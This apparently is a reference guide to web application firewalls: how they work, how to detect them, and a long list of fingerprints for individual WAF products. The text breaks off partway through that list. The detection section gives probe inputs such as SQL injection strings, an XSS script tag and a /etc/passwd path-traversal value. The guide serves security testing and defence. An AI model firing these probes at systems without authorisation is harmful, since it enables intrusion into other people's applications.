Informatique

Everything about web application firewalls (WAFs) from a security perspective. 🔥
A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6 ) 
 A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it. 
 Feel free to contribute . 
 Contents: 
 
 
 Introduction 
 
 
 How WAFs Work 
 
 
 Operation Modes 
 
 
 
 
 Testing Methodology 
 
 
 Where To Look 
 
 
 Detection Techniques 
 
 
 
 
 WAF Fingerprints 
 
 
 Evasion Techniques 
 
 
 Fuzzing/Bruteforcing 
 
 
 Regex Reversing 
 
 
 Obfuscation/Encoding 
 
 
 Browser Bugs 
 
 
 HTTP Header Spoofing 
 
 
 Google Dorks Approach 
 
 
 
 
 Known Bypasses 
 
 
 Awesome Tooling 
 
 
 Fingerprinting 
 
 
 Testing 
 
 
 Evasion 
 
 
 
 
 Blogs & Writeups 
 
 
 Video Presentations 
 
 
 Research Presentations & Papers 
 
 
 Research Papers 
 
 
 Presentation Slides 
 
 
 
 
 Licensing & Credits 
 
 
 Introduction: 
 How WAFs Work: 
 
 Using a set of rules to distinguish between normal requests and malicious requests. 
 Sometimes they use a learning mode to add rules automatically through learning about user behaviour. 
 
 Operation Modes: 
 
 
 Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all <script>*</script> inputs prevent basic cross-site scripting attacks. 
 
 Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees. 
 
 Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists). 
 
 Testing Methodology: 
 Where To Look: 
 
 Always look out for common ports that expose that a WAF, namely 80 , 443 , 8000 , 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs. 
 Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF). 
 Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF). 
 Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP). 
 Some expose themselves in the Server header (e.g. Approach, WTS WAF). 
 Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock). 
 Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF). 
 
 Detection Techniques: 
 To identify WAFs, we need to (dummy) provoke it. 
 
 Make a normal GET request from a browser, intercept and record response headers (specifically cookies). 
 Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 
 Make GET requests to random open ports and grab banners which might expose the WAFs identity. 
 On login pages, inject common (easily detectable) payloads like " or 1 = 1 -- . 
 Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields. 
 Attach a dummy ../../../etc/passwd to a random parameter at end of URL. 
 Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter. 
 Make GET requests with outdated protocols like HTTP/0.9 ( HTTP/0.9 does not support POST type queries). 
 Many a times, the WAF varies the Server header upon different types of interactions. 
 Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
 
 Tip: This method could be easily achieved with tools like HPing3 or Scapy . 
 
 
 Side Channel Attacks - Examine the timing behaviour of the request and response content.
 
 Tip: More details can be found in a blogpost here . 
 
 
 
 WAF Fingerprints 
 Wanna fingerprint WAFs? Lets see how. 
 
 NOTE : This section contains manual WAF detection techniques. You might want to switch over to next section . 
 
 
 
 WAF 
 Fingerprints 
 
 
 
 360
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Returns status code 493 upon unusual requests. 
 Blockpage may contain reference to wzws-waf-cgi/ directory. 
 Blocked response page source may contain:
 
 Reference to wangshan.360.cn URL. 
 Sorry! Your access has been intercepted because your links may threaten website security. text snippet. 
 
 Response headers may contain X-Powered-By-360WZB header. 
 Blocked response headers contain unique header WZWS-Ray . 
 Server header may contain value qianxin-waf . 
 
 
 
 
 
 
 aeSecure
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Blocked response content contains aesecure_denied.png image (view source to see). 
 Response headers contain aeSecure-code value. 
 
 
 
 
 
 
 Airlock
 
 
 
 Detectability: Moderate/Difficult 
 Detection Methodology: 
 
 Set-Cookie headers may contain: 
 
 AL-SESS cookie field name (case insensitive). 
 AL-LB value (case insensitive). 
 
 Blocked response page contains: 
 
 Server detected a syntax error in your request text. 
 Check your request and all parameters text snippet. 
 
 
 
 
 
 
 
 AlertLogic
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains: 
 
 We are sorry, but the page you are looking for cannot be found text snippet. 
 The page has either been removed, renamed or temporarily unavailable text. 
 404 Not Found in red letters. 
 
 
 
 
 
 
 
 Aliyundun
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains: 
 
 Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet. 
 Reference to errors.aliyun.com site URL. 
 
 Blocked response code returned is 405 . 
 
 
 
 
 
 
 Anquanbao
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Returns blocked HTTP response code 405 upon malicious requests. 
 Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time . 
 Response headers contain X-Powered-by-Anquanbao header field. 
 
 
 
 
 
 
 Anyu
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response content contains Sorry! your access has been intercepted by AnYu 
 Blocked response page contains AnYu- the green channel text. 
 Response headers may contain unusual header WZWS-RAY . 
 
 
 
 
 
 
 Approach
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page content may contain: 
 
 Approach Web Application Firewall Framework heading. 
 Your IP address has been logged and this information could be used by authorities to track you. warning. 
 Sorry for the inconvenience! keyword. 
 Approach infrastructure team text snippet. 
 
 Server header has field value set to Approach . 
 
 
 
 
 
 
 Armor Defense
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response content contains:
 
 This request has been blocked by website protection from Armor text. 
 If you manage this domain please create an Armor support ticket snippet. 
 
 
 
 
 
 
 
 
 ArvanCloud
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains ArvanCloud keyword. 
 
 
 
 
 
 
 ASPA
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains ASPA-WAF keyword. 
 Response contain unique header ASPA-Cache-Status with content HIT or MISS . 
 
 
 
 
 
 
 ASP.NET Generic
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers may contain X-ASPNET-Version header value. 
 Blocked response page content may contain: 
 
 This generic 403 error means that the authenticated user is not authorized to use the requested resource . 
 Error Code 0x00000000< keyword. 
 
 X-Powered-By header has field value set to ASP.NET . 
 
 
 
 
 
 
 Astra
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page content may contain: 
 
 Sorry, this is not allowed. in h1 . 
 our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet. 
 Reference to www.getastra.com/assets/images/ URL. 
 
 Response cookies has field value cz_astra_csrf_cookie in response headers. 
 
 
 
 
 
 
 AWS ELB
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers might contain:
 
 AWSALB cookie field value. 
 X-AMZ-ID header. 
 X-AMZ-REQUEST-ID header. 
 
 
 Response page may contain:
 
 Access Denied in their keyword. 
 Request token ID with length from 20 to 25 between RequestId tag. 
 
 
 Server header field contains awselb/2.0 value. 
 
 
 
 
 
 
 Baidu Yunjiasu
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server header may contain Yunjiasu-nginx value. 
 Server header may contain Yunjiasu value.
 
 
 
 
 
 
 Barikode
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page content contains:
 
 BARIKODE keyword. 
 Forbidden Access text snippet in h1 . 
 
 
 
 
 
 
 
 
 Barracuda
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response cookies may contain barra_counter_session value. 
 Response headers may contain barracuda_ keyword. 
 
 Response page contains: 
 
 You have been blocked heading. 
 You are unable to access this website text. 
 
 
 
 
 
 
 Bekchy
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response headers contains Bekchy - Access Denied . 
 Blocked response page contains reference to https://bekchy.com/report . 
 
 
 
 
 
 
 BinarySec
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers contain: 
 
 X-BinarySec-Via field. 
 X-BinarySec-NoCache field. 
 Server header contains BinarySec keyword. 
 
 
 
 
 
 
 
 BitNinja
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page may contain: 
 
 Security check by BitNinja text snippet. 
 your IP will be removed from BitNinja . 
 Visitor anti-robot validation text snippet. 
 (You will be challenged by a reCAPTCHA page) text. 
 
 
 
 
 
 
 
 BIG-IP ASM
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers may contain BigIP or F5 keyword value. 
 Response header fields may contain X-WA-Info header. 
 Response headers might have jumbled X-Cnection field value. 
 
 
 
 
 
 
 BlockDos
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server header contains value BlockDos.net . 
 
 
 
 
 
 
 Bluedon IST
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains BDWAF field value. 
 Blocked response page contains to Bluedon Web Application Firewall text snippet.. 
 
 
 
 
 
 
 BulletProof Security Pro
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Blocked response page contains:
 
 div with id as bpsMessage text snippet. 
 If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet. 
 
 
 
 
 
 
 
 CDN NS Application Gateway
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains CdnNsWAF Application Gateway text snippet. 
 
 
 
 
 
 
 Cerber (WordPress)
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains:
 
 We're sorry, you are not allowed to proceed text snippet. 
 Your request looks suspicious or similar to automated requests from spam posting software warning. 
 
 
 
 
 
 
 
 Chaitin Safeline
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains event_id keyword within HTML comments. 
 
 
 
 
 
 
 ChinaCache
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain Powered-by-ChinaCache field. 
 
 
 
 
 
 
 Cisco ACE XML Gateway
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server header has value ACE XML Gateway set. 
 
 
 
 
 
 
 Cloudbric
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response content contains: 
 
 Malicious Code Detected heading. 
 Your request was blocked by Cloudbric text snippet. 
 Reference to https://cloudbric.zendesk.com URL.
 Cloudbric Help Center text. 
 Page title starting with Cloudbric | ERROR! . 
 
 
 
 
 
 
 
 Cloudflare 
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers might have cf-ray field value. 
 Server header field has value cloudflare . 
 Set-Cookie response headers have __cfuid= cookie field. 
 Page content might have Attention Required! or Cloudflare Ray ID: . 
 Page content may contain DDoS protection by Cloudflare as text. 
 You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs. 
 
 
 
 
 
 
 CloudfloorDNS
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header field has value CloudfloorDNS WAF . 
 Block-page title might have CloudfloorDNS - Web Application Firewall Error . 
 Page content may contain www.cloudfloordns.com/contact URL as a contact link. 
 
 
 
 
 
 
 Cloudfront
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request. 
 
 
 
 
 
 
 Comodo cWatch
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains Protected by COMODO WAF value. 
 
 
 
 
 
 
 CrawlProtect
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response cookies might contain crawlprotect cookie name. 
 Block Page title has CrawlProtect keyword in it. 
 Blocked response content contains value This site is protected by CrawlProtect !!! upon malicious request. 
 
 
 
 
 
 
 Deny-All
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response content contains value Condition Intercepted . 
 Set-Cookie header contains cookie field sessioncookie . 
 
 
 
 
 
 
 Distil Web Protection
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain field value X-Distil-CS in all requests. 
 Blocked response page contains: 
 
 Pardon Our Interruption... heading. 
 You have disabled javascript in your browser. text snippet. 
 Something about your browser made us think that you are a bot. text. 
 
 
 
 
 
 
 
 DoSArrest Internet Security
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain field value X-DIS-Request-ID . 
 Server header contains DOSarrest keyword. 
 
 
 
 
 
 
 DotDefender
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response content contains value dotDefender Blocked Your Request . 
 Blocked response headers contain X-dotDefender-denied field value. 
 
 
 
 
 
 
 DynamicWeb Injection Check
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response headers contain X-403-Status-By field with value dw-inj-check value. 
 
 
 
 
 
 
 e3Learning Security
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains e3Learning_WAF keyword. 
 
 
 
 
 
 
 EdgeCast (Verizon)
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response content contains value Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon) . 
 Blocked response code returns 400 Bad Request on malicious requests. 
 
 
 
 
 
 
 Eisoo Cloud
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page content may contain: 
 
 /eisoo-firewall-block.css reference. 
 www.eisoo.com URL. 
 © (year) Eisoo Inc. keyword. 
 
 Server header has field value set to EisooWAF-AZURE/EisooWAF . 
 
 
 
 
 
 
 Expression Engine
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page returns Invalid URI generally. 
 Blocked response content contains value Invalid GET Request upon malicious GET queries. 
 Blocked POST type queries contain Invalid Data in response content. 
 
 
 
 
 
 
 F5 ASM
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response content contains warning 
 The requested URL was rejected. Please consult with your administrator. 
 
 
 
 
 
 
 
 FortiWeb
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers contain FORTIWAFSID= on malicious requests. 
 Blocked response page contains: 
 
 Reference to .fgd_icon image icon. 
 Server Unavailable! as heading. 
 Server unavailable. Please visit later. as text. 
 
 
 
 
 
 
 
 GoDaddy
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains value Access Denied - GoDaddy Website Firewall . 
 
 
 
 
 
 
 GreyWizard
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains:
 
 Grey Wizard as title. 
 Contact the website owner or Grey Wizard text snippet. 
 We've detected attempted attack or non standard traffic from your IP address text snippet. 
 
 
 Server header contain greywizard keyword. 
 
 
 
 
 
 
 Huawei Cloud
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains: 
 
 Reference to account.hwclouds.com/static/error/images/404img.jpg error image. 
 Reference to www.hwclouds.com URL. 
 Reference to hws_security@{site.tld} e-mail for reporting. 
 
 
 
 
 
 
 
 HyperGuard
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Set-Cookie header has cookie field ODSESSION= in response headers. 
 
 
 
 
 
 
 IBM DataPower
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response headers contains field value value X-Backside-Transport with value OK or FAIL . 
 
 
 
 
 
 
 Imperva Incapsula
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page content may contain: 
 
 Powered By Incapsula text snippet. 
 Incapsula incident ID keyword. 
 _Incapsula_Resource keyword. 
 subject=WAF Block Page keyword. 
 
 Normal GET request headers contain visid_incap value. 
 Response headers may contain X-Iinfo header field name. 
 Set-Cookie header has cookie field incap_ses and visid_incap . 
 
 
 
 
 
 
 Imunify360
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contain imunify360-webshield keyword. 
 Response page contains: 
 
 Powered by Imunify360 text snippet. 
 imunify360 preloader if response type is JSON. 
 
 Blocked response page contains protected by Imunify360 text. 
 
 
 
 
 
 
 IndusGuard
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server header contains value IF_WAF . 
 Blocked response content contains warning further investigation and remediation with a screenshot of this page. 
 Response headers contain a unique header X-Version . 
 
 
 
 
 
 
 Instart DX
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain X-Instart-Request-ID unique header. 
 Response headers contain X-Instart-WL unique header fingerprint. 
 Response headers contain X-Instart-Cache unique header fingerprint. 
 Blocked response page contains The requested URL was rejected. Please consult with your administrator. text. 
 
 
 
 
 
 
 ISA Server
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response page contains: 
 
 The ISA Server denied the specified Uniform Resource Locator (URL) text snippet. 
 The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet 
 
 
 
 
 
 
 
 Janusec Application Gateway
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page has image displaying JANUSEC name and logo. 
 Blocked response page displays Janusec Application Gateway on malicious requests. 
 
 
 
 
 
 
 Jiasule
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL. 
 Set-Cookie header has cookie field __jsluid= or jsl_tracking in response headers. 
 Server header has jiasule-WAF keywords. 
 Blocked response content has notice-jiasule keyword. 
 
 
 
 
 
 
 KeyCDN
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains KeyCDN keyword. 
 
 
 
 
 
 
 KnownSec
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page displays ks-waf-error.png image (view source to see). 
 
 
 
 
 
 
 KONA Site Defender (Akamai)
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains AkamaiGHost keyword. 
 
 
 
 
 
 
 LiteSpeed
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header has value set to LiteSpeed . 
 Response page contains: 
 
 Proudly powered by LiteSpeed Web Server text. 
 Reference to http://www.litespeedtech.com/error-page 
 Access to resource on this server is denied. 
 
 
 
 
 
 
 
 Malcare
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Blocked response page may contains:
 
 Blocked because of Malicious Activities text snippet. 
 Firewall powered by MalCare text snippet. 
 
 
 
 
 
 
 
 
 MissionControl Application Shield
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header field contains Mission Control Application Shield value. 
 
 
 
 
 
 
 ModSecurity
 
 
 
 Detectability: Moderate/Difficult 
 Detection Methodology: 
 
 Blocked response page contains: 
 
 This error was generated by Mod_Security text snippet. 
 One or more things in your request were suspicious text snippet. 
 rules of the mod_security module text snippet. 
 mod_security rules triggered text snippet. 
 Reference to /modsecurity-errorpage/ directory. 
 
 Server header may contain Mod_Security or NYOB keywords. 
 Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action .
 
 
 
 
 
 
 ModSecurity CRS
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level. 
 
 
 
 
 
 
 NAXSI
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains This Request Has Been Blocked By NAXSI . 
 Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword. 
 Server header contains naxsi/waf keyword value. 
 Blocked response page may contain NAXSI blocked information error code. 
 
 
 
 
 
 
 Nemesida
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains Suspicious activity detected. Access to the site is blocked. . 
 Contains reference to email nwaf@{site.tld} 
 
 
 
 
 
 
 Netcontinuum
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Session cookies contain NCI__SessionId= cookie field name. 
 
 
 
 
 
 
 NetScaler AppFirewall
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers may contain 
 
 Connection: header field name jumbled to nnCoection: 
 ns_af= cookie field name. 
 citrix_ns_id field name. 
 NSC_ keyword. 
 NS-CACHE field value. 
 
 
 
 
 
 
 
 NevisProxy
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response header cookies contain Navajo keyword. 
 
 
 
 
 
 
 NewDefend
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains: 
 
 Reference to http://www.newdefend.com/feedback/misinformation/ URL. 
 Reference to /nd_block/ directory. 
 
 Server header contains NewDefend keyword. 
 
 
 
 
 
 
 Nexusguard
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL. 
 
 
 
 
 
 
 NinjaFirewall
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response page title contains NinjaFirewall: 403 Forbidden . 
 Response page contains:
 
 For security reasons, it was blocked and logged text snippet. 
 NinjaFirewall keyword in title. 
 
 
 Returns a 403 Forbidden response upon malicious requests. 
 
 
 
 
 
 
 NSFocus
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contain NSFocus keyword. 
 
 
 
 
 
 
 NullDDoS
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains the NullDDoS System keyword. 
 
 
 
 
 
 
 onMessage Shield
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain header X-Engine field with value onMessage Shield . 
 Blocked response page contains: 
 
 Blackbaud K-12 conducts routine maintenance keyword. 
 This site is protected by an enhanced security system . 
 Reference to https://status.blackbaud.com URL. 
 Reference to https://maintenance.blackbaud.com URL. 
 
 
 
 
 
 
 
 OpenResty Lua WAF
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains openresty/{version} keyword. 
 Blocked response page contains openresty/{version} text. 
 Blocked response code returned is 406 Not Acceptable . 
 
 
 
 
 
 
 Palo Alto
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Blocked response page contains Virus/Spyware Download Blocked . 
 Response page might contain Palo Alto Next Generation Security Platform text snippet. 
 
 
 
 
 
 
 PentaWAF
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains PentaWAF/{version} keyword. 
 Blocked response page contains text PentaWAF/{version} . 
 
 
 
 
 
 
 PerimeterX
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains reference to https://www.perimeterx.com/whywasiblocked URL. 
 
 
 
 
 
 
 pkSecurityModule IDS
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response content may contain 
 
 pkSecurityModule: Security.Alert . 
 A safety critical request was discovered and blocked text snippet. 
 
 
 
 
 
 
 
 Positive Technologies Application Firewall
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains Forbidden in h1 followed by: 
 Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code} 
 
 
 
 
 
 
 PowerCDN
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers may contain 
 
 Via header with content powercdn.com . 
 X-Cache header with content powercdn.com . 
 X-CDN header with content PowerCDN . 
 
 
 
 
 
 
 
 Profense
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Set-Cookie headers contain PLBSID= cookie field name. 
 Server header contain Profense keyword. 
 
 
 
 
 
 
 Proventia (IBM)
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page might contain to request does not match Proventia rules text snippet. 
 
 
 
 
 
 
 Puhui
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contain PuhuiWAF keyword. 
 
 
 
 
 
 
 Qiniu CDN
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response content may contain 
 
 Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1 . 
 
 
 
 
 
 
 
 Radware Appwall
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response page contains the following text snippet: Unauthorized Activity Has Been Detected. and Case Number 
 Blocked response page has reference to radwarealerting@{site.tld} email. 
 Blocked response page has title set to Unauthorized Request Blocked . 
 Response headers may contain X-SL-CompState header field name. 
 
 
 
 
 
 
 Reblaze
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Cookies in response headers contain rbzid= header field name. 
 Server field value might contain Reblaze Secure Web Gateway text snippet. 
 Response page contains: 
 
 Access Denied (403) in bold. 
 Current session has been terminated text. 
 For further information, do not hesitate to contact us . 
 
 
 
 
 
 
 
 Request Validation Mode
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 A firewall found specifically on ASP.NET websites and none others. 
 Response page contains either of the following text snippet: 
 
 ASP.NET has detected data in the request that is potentially dangerous. 
 Request Validation has detected a potentially dangerous client input value. 
 HttpRequestValidationException. 
 
 Blocked response code returned is always 500 Internal Error . 
 
 
 
 
 
 
 RSFirewall
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains: 
 
 COM_RSFIREWALL_403_FORBIDDEN keyword. 
 COM_RSFIREWALL_EVENT keyword. 
 
 
 
 
 
 
 
 Sabre
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Returns status code 500 Internal Error upon malicious requests. 
 Response content has:
 
 Contact email dxsupport@sabre.com . 
 Your request has been blocked bold warning. 
 clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet. 
 
 
 
 
 
 
 
 
 Safe3
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain: 
 
 X-Powered-By header has field value Safe3WAF . 
 Server header contains field value set to Safe3 Web Firewall . 
 
 Response page contains Safe3waf keyword. 
 
 
 
 
 
 
 SafeDog
 
 
 
 Detectability: Easy/Moderate 
 Detection Methodology: 
 
 Server header in response may contain: 
 
 WAF/2.0 keyword. 
 safedog field value. 
 
 
 
 
 
 
 
 SecKing
 
 
 
 Detectability: Easy/Moderate 
 Detection Methodology: 
 
 Server header in response may contain: 
 
 SECKINGWAF keyword. 
 SECKING/{version} field value. 
 
 
 
 
 
 
 
 SecuPress
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response content may contain: 
 
 SecuPress as text. 
 Block ID: Bad URL Contents as text. 
 
 Response code returned is 503 Service Unavailable . 
 
 
 
 
 
 
 Secure Entry
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains value set to Secure Entry Server . 
 
 
 
 
 
 
 SecureIIS
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains either of the following text snippet: 
 
 Image displaying beyondtrust logo. 
 Download SecureIIS Personal Edition 
 Reference to http://www.eeye.com/SecureIIS/ URL. 
 SecureIIS Error text snippet. 
 
 
 
 
 
 
 
 SecureSphere
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response page contains the following text snippet: 
 
 Error in h2 text. 
 Title contains only text as Error . 
 Contact support for additional information. text. 
 
 
 
 
 
 
 
 SEnginx
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains SENGINX-ROBOT-MITIGATION keyword. 
 
 
 
 
 
 
 ServerDefender VP
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response contains X-Pint header field with p80 keyword. 
 
 
 
 
 
 
 Shadow Daemon
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains request forbidden by administrative rules. keyword. 
 
 
 
 
 
 
 ShieldSecurity
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains: 
 
 You were blocked by the Shield. text. 
 Something in the URL, Form or Cookie data wasn't appropriate text snippet. 
 Warning: You have {number} remaining transgression(s) against this site . 
 Seriously stop repeating what you are doing or you will be locked out . 
 
 
 
 
 
 
 
 SiteGround
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response page contains The page you are trying to access is restricted due to a security rule text snippet. 
 
 
 
 
 
 
 SiteGuard (JP Secure)
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response page contains:
 
 Powered by SiteGuard text snippet. 
 The server refuse to browse the page. text snippet. 
 The URL may not be correct. Please confirm the value. 
 
 
 
 
 
 
 
 SiteLock TrueShield
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page source contains the following: 
 
 Reference to www.sitelock.com URL. 
 Sitelock is leader in Business Website Security Services. text. 
 sitelock-site-verification keyword. 
 sitelock_shield_logo image. 
 
 
 
 
 
 
 
 SonicWall
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contain SonicWALL keyword value. 
 Blocked response page contains either of the following text snippet: 
 
 Image displaying Dell logo. 
 This request is blocked by the SonicWALL. 
 Web Site Blocked text snippet. 
 nsa_banner as keyword. :p 
 
 
 
 
 
 
 
 Sophos UTM 
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains Powered by UTM Web Protection keyword. 
 
 
 
 
 
 
 SquareSpace
 
 
 
 Detectability: Difficult 
